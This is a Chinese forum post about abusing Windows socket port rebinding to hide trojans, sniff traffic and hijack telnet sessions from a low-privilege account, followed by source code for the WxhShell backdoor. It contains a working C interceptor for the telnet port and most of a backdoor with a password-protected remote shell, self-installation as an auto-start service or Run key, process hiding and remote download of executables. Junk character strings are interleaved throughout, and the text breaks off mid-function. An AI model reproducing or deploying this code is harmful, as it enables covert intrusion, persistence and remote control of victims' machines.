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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2graLJ?9Z  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); CB?,[#r5f  
b=Y3O  
  saddr.sin_family = AF_INET; LzkwgcR  
M hg_z.Z  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); vm"dE4W=  
-Tr*G4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Q?W}]RW  
1FmVx   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 z=VL|Du1OT  
h:'wtn@l(  
  这意味着什么?意味着可以进行如下的攻击: o^~KAB7  
AN-;*n<'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @KC;"u'C  
hi ]+D= S  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) h|-r t15  
Xg%zE  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 '$U"RP^(  
|LjCtm)@+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  nrxN_0 R%  
SB F3\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 c,-< 4e  
|0bSxPXn!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >AfJxdd1  
TfxKvol'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 q6DhypB  
]pGr'T~Gj  
  #include # K-Q/*  
  #include tN0>5'/  
  #include REsThB  
  #include    }@#e D  
  DWORD WINAPI ClientThread(LPVOID lpParam);     C[Fh^  
  int main() D"Xm9 (  
  { `BvcI n4do  
  WORD wVersionRequested; i a|F  
  DWORD ret; ^aC[Z P:  
  WSADATA wsaData; jC@^/rMh  
  BOOL val; &sllM  
  SOCKADDR_IN saddr; COT;KC6 n  
  SOCKADDR_IN scaddr; 'X?`+2wK   
  int err; Ry(!< w,  
  SOCKET s; x=Ru@nK;  
  SOCKET sc; (5I]umtge  
  int caddsize; [sad}@R7  
  HANDLE mt; vKW%l  
  DWORD tid;   |#sP1w'l]  
  wVersionRequested = MAKEWORD( 2, 2 ); UxW>hbzr&V  
  err = WSAStartup( wVersionRequested, &wsaData ); Nhf!;>  
  if ( err != 0 ) { yJr Pb"  
  printf("error!WSAStartup failed!\n"); {L+?n*;CA  
  return -1; s2$R2,  
  } sv[)?1S  
  saddr.sin_family = AF_INET; 3)xV-Y9  
   tQ/w\6{  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 QVP $e`4  
Wm A:"!~M  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]juXm1)>W1  
  saddr.sin_port = htons(23); mkWIJH  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N7E[wOP  
  { &x;nP6mV  
  printf("error!socket failed!\n"); lDH0bBmd0  
  return -1; 5P! ZJ3C  
  } k/LV=e7  
  val = TRUE; cVz.ac  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ^qDkSoqC"  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) S:5Nh^K  
  { D( _a Xy  
  printf("error!setsockopt failed!\n"); |%tR#!&[:g  
  return -1; +<iw|vr  
  } '*T7tl  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =tP|sYR]^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 H"-p^liw  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _W!g'HP-D  
!Khsx  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Sd)D-S  
  { )jH"6my_  
  ret=GetLastError(); *R&g'y^d  
  printf("error!bind failed!\n"); pymT-  
  return -1; E:i3 /Ep?  
  } +Q'/c0o  
  listen(s,2); q/Gy&8 K  
  while(1) auO^v;s  
  { 5!5P\o  
  caddsize = sizeof(scaddr); Bb1dH/8  
  //接受连接请求 /fD)/x  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7?A}q mv  
  if(sc!=INVALID_SOCKET) O" z=+79q  
  { =}V`O>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); p?!] sO1l  
  if(mt==NULL) 1.';:/~(  
  { <:ZN  
  printf("Thread Creat Failed!\n"); } HvVL}7  
  break; Ck[Z(=b$$:  
  } XjX<?W  
  } 7?kvrIuY&  
  CloseHandle(mt); ikY=}  
  } qV(Plt%  
  closesocket(s); lh5k@\X  
  WSACleanup(); ?! kup  
  return 0; CUYp(GU  
  }   iBc( @EJ  
  DWORD WINAPI ClientThread(LPVOID lpParam) 3FS:]|oC  
  { #4|?;C)u\  
  SOCKET ss = (SOCKET)lpParam; Ak1f*HGl|  
  SOCKET sc; 1dKLNE  
  unsigned char buf[4096]; k1%Ek#5  
  SOCKADDR_IN saddr; -Y+[`0$'  
  long num; b?Vu9!  
  DWORD val; ~=c#Ff =Z  
  DWORD ret; ah}aL7dgO  
  //如果是隐藏端口应用的话,可以在此处加一些判断 I=b#tUBh8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   L=VuEF  
  saddr.sin_family = AF_INET; ]{;K|rCR-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); .Oim7JQ8  
  saddr.sin_port = htons(23); air{1="<-  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @5kN L~2  
  { O,DA{> *m  
  printf("error!socket failed!\n"); Qs4Jl;Y_  
  return -1; ,;{mH]"s  
  } m6JIq}CMb  
  val = 100; cOS|B1xG  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bbnAF*7s8  
  { D'</eJ  
  ret = GetLastError(); B]kz3FF  
  return -1; L1aN"KGMF  
  } ZL@7Mr!e  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &\5T`|~)!  
  { |&C.P?q  
  ret = GetLastError(); n2T vPt\  
  return -1; 4}l,|7_&I  
  } 2o{Fp7l  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) zf^!Zqn[8z  
  { lM?P8#3  
  printf("error!socket connect failed!\n"); '1bdBx\<.  
  closesocket(sc); /TpM#hkq/2  
  closesocket(ss); C YnBZ  
  return -1; YwKY3kL  
  } >yT:eG  
  while(1) g*8sh  
  { ~r=u1]z  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 a-O9[?G/x  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 3"q%-M|+Q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )0/ D Y  
  num = recv(ss,buf,4096,0);  #p\sw  
  if(num>0) 2 0hE)!A  
  send(sc,buf,num,0); kigc+R  
  else if(num==0) o.sa ?*  
  break; {KODwP'~  
  num = recv(sc,buf,4096,0); eZf-i1lJ  
  if(num>0) "j~=YW+l  
  send(ss,buf,num,0); ` R^[s56wp  
  else if(num==0) cC>.`1:  
  break; |f`!{=?  
  } I:='LH,  
  closesocket(ss); _:=w6jCk  
  closesocket(sc); /I: d<A  
  return 0 ; pNE!waR>  
  } %#"uK:(N  
<y~`J`-  
@{~x:P5g  
========================================================== y?Fh%%uNr  
OHe<U8iu%  
下边附上一个代码,,WXhSHELL AnIENJ  
6\'v_A O  
========================================================== H@OYtPHGR  
KXYq|w  
#include "stdafx.h" 1G$kO90  
UB?a-jGZ K  
#include <stdio.h> 2}+V3/  
#include <string.h> ~"{Kjr#R  
#include <windows.h> 0 R^Xn  
#include <winsock2.h> ]vhh*  
#include <winsvc.h> BxlpI[yWq  
#include <urlmon.h> C{+~x@  
&eyFApM[Z  
#pragma comment (lib, "Ws2_32.lib") )%WS(S>8  
#pragma comment (lib, "urlmon.lib") 9 /q4]%`  
;V`~'357%  
#define MAX_USER   100 // 最大客户端连接数 aRg- rz  
#define BUF_SOCK   200 // sock buffer RIb< 7  
#define KEY_BUFF   255 // 输入 buffer D55dD>  
P4ot, Q4  
#define REBOOT     0   // 重启 L}x"U9'C  
#define SHUTDOWN   1   // 关机 q4lL7@_  
X]Sr]M^EK  
#define DEF_PORT   5000 // 监听端口 zgqe@;{  
Z}$.Tm  
#define REG_LEN     16   // 注册表键长度 u6cWLV t  
#define SVC_LEN     80   // NT服务名长度 3|g'1X}  
; #e-pkV  
// 从dll定义API prhFA3 rW.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 's!EAqCN  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); HI)ks~E/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); t9W_ [_a9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); '<$(*  
.kvuI6H  
// wxhshell配置信息 o+q4Vg9&  
struct WSCFG { ^cBA8 1  
  int ws_port;         // 监听端口 h}rrsVj3  
  char ws_passstr[REG_LEN]; // 口令 NTls64AS.  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1&U'pp|T  
  char ws_regname[REG_LEN]; // 注册表键名 % UY=VE\F  
  char ws_svcname[REG_LEN]; // 服务名 *+lnAxRa?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q/-YLf.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J(g!>Sp!p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k7f[aM5]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~\Fde^1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E^T/Qu  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^FF{71;  
Su6ZO'[)  
}; (a@cK,  
VqbMFr<k  
// default Wxhshell configuration E}.cz\!.  
struct WSCFG wscfg={DEF_PORT, X NnsMl  
    "xuhuanlingzhe", YtxBkKiJ2V  
    1, I&1h/  
    "Wxhshell", %`-NWAXL  
    "Wxhshell", 64o`7  
            "WxhShell Service", J+w"{ O  
    "Wrsky Windows CmdShell Service", A\.k['!  
    "Please Input Your Password: ", 3eFD[c%mN  
  1, _OHz6ag  
  "http://www.wrsky.com/wxhshell.exe", pi3Z)YcT  
  "Wxhshell.exe" 6@; w%Ea  
    }; C} Ewi-  
$BkdC'D  
// 消息定义模块 nNq|v=L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]J?5qR:xCy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Y')in7g  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @_h/%>0  
char *msg_ws_ext="\n\rExit."; 0JKbp*H  
char *msg_ws_end="\n\rQuit."; 6pxj9@X+  
char *msg_ws_boot="\n\rReboot..."; /M\S^ !g@  
char *msg_ws_poff="\n\rShutdown..."; wa@X^]D8  
char *msg_ws_down="\n\rSave to "; xGPt5l<M&  
Y&]pC  
char *msg_ws_err="\n\rErr!"; Ab cmI*y  
char *msg_ws_ok="\n\rOK!"; ,Es5PmV@$%  
I]jVnQ>&  
char ExeFile[MAX_PATH]; ~KHp~Xs`  
int nUser = 0; kG@1jMPtQ  
HANDLE handles[MAX_USER]; /XtxgO\T.  
int OsIsNt; xAon:58m{  
*`=V"nXw$|  
SERVICE_STATUS       serviceStatus; lf[ (  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; NrhU70y  
#0hX)7(j  
// 函数声明 w!8h4U. ;  
int Install(void); \7jcZ~FBX%  
int Uninstall(void); X];a(7+2  
int DownloadFile(char *sURL, SOCKET wsh); &&Vz=6N  
int Boot(int flag); N}pE{~Y  
void HideProc(void); By:A9 s  
int GetOsVer(void); 8&3+=<U  
int Wxhshell(SOCKET wsl); CIYTs,u#  
void TalkWithClient(void *cs); kplyZ  
int CmdShell(SOCKET sock); +8mfq\ Y1  
int StartFromService(void); )u(`s`zd  
int StartWxhshell(LPSTR lpCmdLine); y [.0L!C {  
q J@XVN4   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0_,V}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'FO^VJ;ha  
O`rAqO0F  
// 数据结构和表定义 ){icI <  
SERVICE_TABLE_ENTRY DispatchTable[] = | t3_E  
{ "&77`R  
{wscfg.ws_svcname, NTServiceMain}, US@ak4Y6Z  
{NULL, NULL} p`T7Y\\#!  
}; .2Y"=|NdA  
\b{=&B[Q$'  
// 自我安装 lH T?  
int Install(void) li$(oA2  
{ G'#a&6  
  char svExeFile[MAX_PATH]; CQ"5bnR  
  HKEY key; drNfFx 2  
  strcpy(svExeFile,ExeFile); [gqV}Y"Md  
<eQS16  
// 如果是win9x系统,修改注册表设为自启动 !xA;(<K[^  
if(!OsIsNt) { @]gP"Pp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !C&}e8M|eX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l2X'4_d  
  RegCloseKey(key); ]* ':  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EX|Wd|aK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U43PHcv_  
  RegCloseKey(key); lJ:B9n3OzT  
  return 0; k 32 Jz.\B  
    } $:{uF#  
  } J XbG|L  
} )zz"DH  
else { Jd7+~isu~  
,M5zhp$  
// 如果是NT以上系统,安装为系统服务 w)5eD+n\-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }9:d(B9;  
if (schSCManager!=0) G# .z((Rj  
{ m80QMosp  
  SC_HANDLE schService = CreateService u\<z5O  
  ( l" *zr ;#  
  schSCManager, &3:-(:<U  
  wscfg.ws_svcname, }BzV<8F  
  wscfg.ws_svcdisp, ZZX|MA!  
  SERVICE_ALL_ACCESS, 1<Qb"FN!2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [59_n{S 1  
  SERVICE_AUTO_START, s1?N&t8c  
  SERVICE_ERROR_NORMAL, }c:s+P+/  
  svExeFile, Vyf r>pgW1  
  NULL, .Q>.|mu  
  NULL, r@%-S!$  
  NULL, MOJKz!%  
  NULL, SdeKRZ{o  
  NULL hDSt6O4za  
  ); l> W?XH  
  if (schService!=0) g;UB+Y 247  
  { %8DU}}Rj  
  CloseServiceHandle(schService); +%UfnbZ  
  CloseServiceHandle(schSCManager); /hQTV!\u  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0h _9  
  strcat(svExeFile,wscfg.ws_svcname); T oTehVw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @_J~zo  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MRV4D<NQ  
  RegCloseKey(key); !NuiVC]  
  return 0; xVf AlN37(  
    } -r@fLkwg  
  } ^KM' O8  
  CloseServiceHandle(schSCManager); anxg D?<+B  
} @@-n/9>vs  
} KLBU8%  
V|gW%Z,j  
return 1; {E@Fk,  
} jhgS@g=@ZC  
a\pOgIp  
// 自我卸载 xQ+UZc  
int Uninstall(void) ?x1sm"]p'  
{ NvW`x   
  HKEY key; [uU"=H|  
BZ* ',\o  
if(!OsIsNt) { Tsch:r S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZP~Mgz{f  
  RegDeleteValue(key,wscfg.ws_regname); Oi%\'biM  
  RegCloseKey(key); I! eu|_cF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zisf8x7^W  
  RegDeleteValue(key,wscfg.ws_regname); T$rhz)_q  
  RegCloseKey(key); 6 <XQ'tM]N  
  return 0; +O"!*  
  } Kh&W\\K  
} 3 PkVMX  
} J([Y4Em5  
else { |BGB60}]f  
7[=\bL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); HQ /D)D  
if (schSCManager!=0) )qSjI_qt5  
{ '3<T~t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1.24ZX  
  if (schService!=0) w'[JfMuP  
  { gGZ-B<  
  if(DeleteService(schService)!=0) { 0JT"Pv_  
  CloseServiceHandle(schService); |\.:h":!0~  
  CloseServiceHandle(schSCManager); Gh%R4)}  
  return 0; CP0;<}k  
  } H4B|c42  
  CloseServiceHandle(schService); sqXwDy+.  
  } B]2m(0Y>>v  
  CloseServiceHandle(schSCManager); [#@\A]LO  
} hGU  m7  
} 4Jn+Ot.,d  
cMs8D  
return 1; N\l|3~  
} :+_uyp2V  
:o3>  
// 从指定url下载文件 F(O"S@  
int DownloadFile(char *sURL, SOCKET wsh) 8Z|A'M  
{ A"tE~m;"7  
  HRESULT hr; *82+GY]  
char seps[]= "/"; gV}c4>v(  
char *token; tm1#Lh0  
char *file; ^'%Q>FVb  
char myURL[MAX_PATH]; z:^ (#G{  
char myFILE[MAX_PATH]; ; ,Nvg6c  
YsO3( HS  
strcpy(myURL,sURL); !C(U9p. 0  
  token=strtok(myURL,seps); ~4+ICCbH  
  while(token!=NULL) R ;k1(p  
  { BOfl hoUX  
    file=token; >,x&L[3  
  token=strtok(NULL,seps); 15z(hzU?#  
  } WA6reZ  
`h%K8];<6f  
GetCurrentDirectory(MAX_PATH,myFILE); |.z4VJi4  
strcat(myFILE, "\\"); W7W(jMH  
strcat(myFILE, file); IG.!M@_  
  send(wsh,myFILE,strlen(myFILE),0); hG~HV{6  
send(wsh,"...",3,0); _z=yt t9D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `@xnpA]l  
  if(hr==S_OK) KV8Ok  
return 0; {[4.<|26  
else u4tv= +jh  
return 1; `>4"i+NFF8  
wg+[T;0S  
} uZTbJ3$$  
n8E3w:A-  
// 系统电源模块 An_3DrUFV_  
int Boot(int flag) ce3``W/H3  
{ "S+AkLe(  
  HANDLE hToken; Kv)Kn8df  
  TOKEN_PRIVILEGES tkp; EQe$~}[  
ZkWMo= vL  
  if(OsIsNt) { #qu;{I#W3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |No9eZ8>.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q\W)}  
    tkp.PrivilegeCount = 1; l_s#7.9$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O=eU38n:5u  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v *`M3jb  
if(flag==REBOOT) { f[ia0w5 m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2<n@%'OQp  
  return 0; 8IE^u<H(:  
} &So1;RR,_M  
else { |.L_c"Bc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !e*T. 1Kz  
  return 0; FYK`.>L28  
} Q|e-)FS)  
  } a,r B7aD  
  else { p<,`l)o}~  
if(flag==REBOOT) {  qI${7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PTqia!  
  return 0; `!AI:c*3p1  
} m/ID3_  
else { *ZxurbX#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3dSC`K  
  return 0; -4P `:bF  
} x*=1C,C  
} $L?KNXHAF!  
vm'ZA7f6  
return 1; RBBmGZ  
} U4<c![Pp.  
h72CGA|  
// win9x进程隐藏模块 h9#)Eo   
void HideProc(void) fc9@l a  
{ ${eV3LSC  
Ak8Y?#"wz  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (<8}un  
  if ( hKernel != NULL ) RS l*u[fB  
  { Kf*Dy:e  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .Y"F3 R  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rNTLP m  
    FreeLibrary(hKernel); 0bT[05.  
  } Wpi35JrC  
o:fe`#t  
return; CxZh^V8LP  
} B4wRwrVI>  
nw0#gDI|  
// 获取操作系统版本 (xRcG+3];  
int GetOsVer(void) :dAd5v2f  
{ W)/^*, Q7  
  OSVERSIONINFO winfo; 9 fYNSr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); stBe ^C  
  GetVersionEx(&winfo); mbGma  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !hhL",  
  return 1; yxo=eSOM  
  else 5<R m{  
  return 0; G0Qw& mqF  
} ,<r&] eC  
<7`zc7c]#  
// 客户端句柄模块 $[n:IDa*@1  
int Wxhshell(SOCKET wsl) >[,eK=  
{ ~~Ezt*lH  
  SOCKET wsh; h0@a"DqK  
  struct sockaddr_in client; ElV!C}g  
  DWORD myID; "8{A4N1B5  
n]ba1t8ZA  
  while(nUser<MAX_USER) g}xL7bTlI>  
{ &|~7`  
  int nSize=sizeof(client); ]myRYb5Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); P<<+;']  
  if(wsh==INVALID_SOCKET) return 1; yJq<&g  
@wI>0B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JfIXv  
if(handles[nUser]==0) _9 ]:0bDUo  
  closesocket(wsh); <f>w"r  
else 1 _?8OU  
  nUser++; )Y7H@e\1  
  } ApXf<MAy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Pwl*5/l  
q"u,Tnc;  
  return 0; H@=oVyn/  
} (?7=,A7^  
oLT#'42+H  
// 关闭 socket usB*Wn8  
void CloseIt(SOCKET wsh) oS fr5 i  
{  Sfz1p  
closesocket(wsh); )8@-  
nUser--; zjQ746<&)i  
ExitThread(0); 4,I,f>V  
} )S g6B;CJ  
k&ci5MpN  
// 客户端请求句柄 ""0 Y^M2I  
void TalkWithClient(void *cs) mgAjD.  
{ V`^*Z}d9  
@N4_){s*  
  SOCKET wsh=(SOCKET)cs; SK}sf9gTv  
  char pwd[SVC_LEN]; y2jv84 M  
  char cmd[KEY_BUFF]; .~f )4'T 9  
char chr[1];  '"B  
int i,j; 6]brL.eGj  
vB8$Qx\J  
  while (nUser < MAX_USER) { SGWb*grt  
_z@/~M(  
if(wscfg.ws_passstr) { MzIDeZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 41X`.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3W?7hh  
  //ZeroMemory(pwd,KEY_BUFF); IVNH.g'  
      i=0; q`*.F#/4c  
  while(i<SVC_LEN) { >3!~U.AA'x  
Q,KNZxT,q  
  // 设置超时 g0B] ;Y>(  
  fd_set FdRead; ip-X r|Bq  
  struct timeval TimeOut; COh#/-`\1  
  FD_ZERO(&FdRead); 8^UF0>`'  
  FD_SET(wsh,&FdRead); 9O;Sn+  
  TimeOut.tv_sec=8; /wJ#-DZ  
  TimeOut.tv_usec=0; @z1QoZ^w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <P h50s4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jIs>>  
pP| @Z{7d`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z!g$#hmL>  
  pwd=chr[0]; iB)\* )  
  if(chr[0]==0xd || chr[0]==0xa) { vbid>$%  
  pwd=0; qO>UN[Y  
  break; [MIgQ.n  
  } PuN L%D  
  i++; ;J W ]b]  
    } 2.v{W-D[  
jEBn"]\D  
  // 如果是非法用户,关闭 socket q;e b  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \!^=~` X-  
} *u+DAg'&  
_lv{8vf1B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZXnacc~s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cEL:5*cAU}  
]9YA~n\  
while(1) { 'yiv.<4  
SJiQg-+<Uf  
  ZeroMemory(cmd,KEY_BUFF); edL2ax  
PNm@mC_fh  
      // 自动支持客户端 telnet标准   |ke0G  
  j=0; `3\aX|4@  
  while(j<KEY_BUFF) { AS;Sz/YP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [<XYU,{R  
  cmd[j]=chr[0]; 'l'3&.{Yfk  
  if(chr[0]==0xa || chr[0]==0xd) { A+l(ew5Lw$  
  cmd[j]=0; %"{P?V<-V  
  break; 9QU\J0c/  
  } -E}X`?WhD  
  j++; mu\1hKq;B  
    } Zn9u&!T&  
h7Uj "qH  
  // 下载文件 iy~h|YK;  
  if(strstr(cmd,"http://")) { KS*,'hvY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *EuX7LEu_  
  if(DownloadFile(cmd,wsh)) rO#w(]   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i|{psA  
  else r)gK5Mv  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); icb)JZ1K  
  } s)WA9PiC  
  else { v? ."`,e  
&5y  
    switch(cmd[0]) { 1o&zA<+NY  
  LcGKYl(\K  
  // 帮助 4$iS@o|  
  case '?': { cvsH-uAp  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); VJ\qp%  
    break; uzH MQp  
  } 8y27O  
  // 安装 S TWH2_`  
  case 'i': { vb^fx$V  
    if(Install()) ,\i*vJ#f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E_~e/y"-  
    else XYvj3+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _&]7  
    break; Md4Q.8  
    } '1D $ ;  
  // 卸载 -+[Lc_oNPx  
  case 'r': { *OA(v^@tx7  
    if(Uninstall()) @RPQ 1da  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BI%^7\HZ  
    else QKjn/%l"@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,< g%}P/  
    break; PPl o0R  
    } >c_fUX={  
  // 显示 wxhshell 所在路径 U@q5`4-!8  
  case 'p': { "m{i`<,  
    char svExeFile[MAX_PATH]; i[[.1MnS  
    strcpy(svExeFile,"\n\r"); ; =n}61  
      strcat(svExeFile,ExeFile); qh.F}9o  
        send(wsh,svExeFile,strlen(svExeFile),0); <n,QSy#  
    break; _FOIMjh%N  
    } (-$5YKm  
  // 重启 `^Ll@Cx"  
  case 'b': { LBq2({="  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z00X ?F  
    if(Boot(REBOOT)) R ?s;L r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }>M\iPO.]*  
    else { Z-lhJ<0/Pa  
    closesocket(wsh); @U!&XZ]h  
    ExitThread(0); Xps \+l%i  
    } hY!ek;/Gc  
    break; K6-)l isf  
    } a>l,H#w*vW  
  // 关机 s<LnUF1b  
  case 'd': { D7nK"]HG;l  
